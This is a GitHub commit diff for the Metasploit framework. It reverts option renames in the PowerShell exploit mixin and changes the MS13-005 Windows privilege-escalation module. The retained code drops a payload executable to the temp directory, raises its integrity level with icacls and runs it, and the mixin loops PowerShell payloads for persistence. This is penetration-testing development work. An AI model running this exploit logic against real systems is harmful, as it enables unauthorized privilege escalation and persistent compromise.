Skip to content

Commit 09a49eb

Browse files
committed
Revert datastore changes
1 parent aa64f5c commit 09a49eb

File tree

2 files changed

+12
-25
lines changed

2 files changed

+12
-25
lines changed

lib/msf/core/exploit/powershell.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -8,9 +8,9 @@ def initialize(info = {})
88
super
99
register_options(
1010
[
11-
OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]),
12-
OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]),
13-
OptBool.new('PSH::RUN_WOW64', [
11+
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
12+
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
13+
OptBool.new('RUN_WOW64', [
1414
true,
1515
'Execute powershell in 32bit compatibility mode, payloads need native arch',
1616
false
@@ -131,15 +131,15 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
131131
#
132132
# Creates cmd script to execute psh payload
133133
#
134-
def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64'])
134+
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
135135
# Allow powershell 1.0 format
136136
if old_psh
137137
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
138138
else
139139
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
140140
end
141141
# Run our payload in a while loop
142-
if datastore['PSH::PERSIST']
142+
if datastore['PERSIST']
143143
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
144144
sleep_time = rand(5)+5
145145
psh_payload = "function #{fun_name}{#{psh_payload}};"

modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb

Lines changed: 7 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -12,11 +12,10 @@
1212
class Metasploit3 < Msf::Exploit::Local
1313
Rank = ExcellentRanking
1414

15-
include Msf::Exploit::Powershell
1615
include Msf::Exploit::EXE
1716
include Msf::Exploit::Remote::HttpServer
18-
include Msf::Exploit::FileDropper
1917
include Msf::Post::File
18+
include Msf::Exploit::FileDropper
2019

2120
def initialize(info={})
2221
super( update_info( info,
@@ -32,11 +31,7 @@ def initialize(info={})
3231
affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, RT.
3332
But Spawning a command prompt with the shortcut key does not work in Vista so you will
3433
have to check if the user is already running a command prompt and set SPAWN_PROMPT
35-
false. The WEB technique will use powershell to download and execute a powershell
36-
encoded payload. The FILE technique will drop an executable to the file system, set it
37-
to medium integrity and execute it. The TYPE technique will attempt to execute a
38-
powershell encoded payload directly from the command line but it may take some time to
39-
complete.
34+
false.
4035
},
4136
'License' => MSF_LICENSE,
4237
'Author' =>
@@ -66,14 +61,14 @@ def initialize(info={})
6661
register_options(
6762
[
6863
OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),
69-
OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB','FILE','TYPE']]),
70-
OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type'])
71-
64+
OptBool.new('FILESYSTEM', [true, 'Drop payload to filesystem and execute', false])
7265
], self.class
7366
)
7467

7568
end
7669

70+
# Refactor this into Post lib with adobe_sandbox_adobecollabsync.rb
71+
# Or use GetToken railgun calls?
7772
def low_integrity_level?
7873
tmp_dir = expand_path("%USERPROFILE%")
7974
cd(tmp_dir)
@@ -120,7 +115,6 @@ def cleanup
120115
vprint_status("Rehiding window...")
121116
client.railgun.user32.ShowWindow(@hwin, 0)
122117
end
123-
super
124118
end
125119

126120
def exploit
@@ -133,11 +127,10 @@ def exploit
133127
# hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
134128
# integrity process can write.
135129
drop_to_fs = false
136-
if datastore['TECHNIQUE'] == 'FILE'
130+
if datastore["FILESYSTEM"]
137131
payload_file = "#{rand_text_alpha(5+rand(3))}.exe"
138132
begin
139133
tmp_dir = expand_path("%TEMP%")
140-
tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i
141134
cd(tmp_dir)
142135
print_status("Trying to drop payload to #{tmp_dir}...")
143136
if write_file(payload_file, generate_payload_exe)
@@ -158,16 +151,10 @@ def exploit
158151
if drop_to_fs
159152
command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"
160153
make_it(command)
161-
elsif datastore['TECHNIQUE'] == 'TYPE'
162-
if datastore['CUSTOM_COMMAND']
163-
command = datastore['CUSTOM_COMMAND']
164-
else
165-
command = cmd_psh_payload(payload.encoded)
166-
end
167-
make_it(command)
168154
else
169155
super
170156
end
157+
171158
end
172159

173160
def primer

0 commit comments

Comments
 (0)